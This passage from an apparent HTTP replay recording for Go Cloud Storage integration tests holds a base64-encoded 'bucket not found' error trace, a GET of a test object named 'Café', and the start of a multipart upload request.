c3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPU5PVF9GT1VORCwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpCVUNLRVRfTk9UX0ZPVU5EOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkdldEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0QnVja2V0LmphdmE6MTA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YTozMylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5nZXQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjgzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPW5vdEZvdW5kLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5OT1RfRk9VTkQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpCVUNLRVRfTk9UX0ZPVU5EOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkdldEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0QnVja2V0LmphdmE6MTA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YTozMylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5nZXQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjgzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIGJ1Y2tldDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDIxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Tk9UX0ZPVU5ELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZV9pZC5uYW1lLCBtZXNzYWdlPW51bGwsIHVubmFtZWRBcmd1bWVudHM9W119LCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2VfaWQubmFtZSwgbWVzc2FnZT1Ob3QgRm91bmQsIHJlYXNvbj1ub3RGb3VuZCwgcnBjQ29kZT00MDR9IE5vdCBGb3VuZDogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkJVQ0tFVF9OT1RfRk9VTkQ6IE5vIHN1Y2ggYnVja2V0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YToxMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5HZXRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldEJ1Y2tldC5qYXZhOjMzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmdldChCdWNrZXRzRGVsZWdhdG9yLmphdmE6ODMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IE5vIHN1Y2ggYnVja2V0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMjFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDA0LCJtZXNzYWdlIjoiTm90IEZvdW5kIn19" - } - }, - { - "ID": "03b45b7eac939177", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/storage-library-test-bucket/Caf%C3%A9", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Length": [ - "20" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:26:29 GMT" - ], - "Etag": [ - "\"ade43306cb39336d630e101af5fb51b4\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:26:29 GMT" - ], - "Last-Modified": [ - "Fri, 24 Mar 2017 20:04:38 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Generation": [ - "1490385878535828" - ], - "X-Goog-Hash": [ - "crc32c=fN3yZg==", - "md5=reQzBss5M21jDhAa9ftRtA==" - ], - "X-Goog-Metageneration": [ - "2" - ], - "X-Goog-Storage-Class": [ - "MULTI_REGIONAL" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "20" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpFU2KyS5OA-bAy_MovHXHg5zJZ2kznc6tgTTrSjilrNHiw0NimPHZApcRXOS_ejrSSy8nIn02xipxUWxvHM3ru5IYhJRTeBZxhlq6_XQVsATkvink" - ] - }, - "Body": "Tm9ybWFsaXphdGlvbiBGb3JtIEM=" - } - }, - { - "ID": "725883eeccd4b42c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoiemVybyJ9Cg==", - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - 